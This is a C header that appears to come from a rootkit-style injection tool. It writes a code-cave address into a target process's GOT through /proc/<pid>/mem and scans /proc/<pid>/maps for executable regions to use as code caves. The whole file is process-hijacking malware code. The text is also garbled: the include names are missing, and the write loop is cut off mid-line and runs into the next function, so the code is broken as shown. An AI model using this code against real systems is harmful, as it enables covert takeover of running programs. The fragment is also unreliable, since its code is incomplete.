#ifndef __MEM_INJECTION_EXT_H #define __MEM_INJECTION_EXT_H #include #include #include #include #include #include #include "../common/constants.h" #include "../common/map_common.h" #include "code_caver.h" int manage_injection(const struct rb_event* event){ char mem_file_name[100]; __u64 buf = (__u64)CODE_CAVE_ADDRESS; int mem_fd; memset( (void*)mem_file_name, 0, 100); printf("Injecting at PID %d at %llx\n", event->pid, event->got_address); sprintf(mem_file_name, "/proc/%d/mem", event->pid); mem_fd = open(mem_file_name, O_RDWR); lseek(mem_fd, event->got_address, SEEK_SET); for(int ii=0; iipid); f = fopen(maps_file, "rt"); while (fgets(maps_file, 512, f)) { __u32 pgoff, major, minor; __u64 from, to, ino; char flags[4]; int ret = sscanf(maps_file, "%llx-%llx %4c %x %x:%x %llu ", &from, &to, flags, &pgoff, &major, &minor, &ino); printf("MAPS: %s\n", maps_file); //Parse flags, find executable one if(flags[2] == 'x'){ //Candidate for code cave finding } } free(maps_file); return 0; } #endif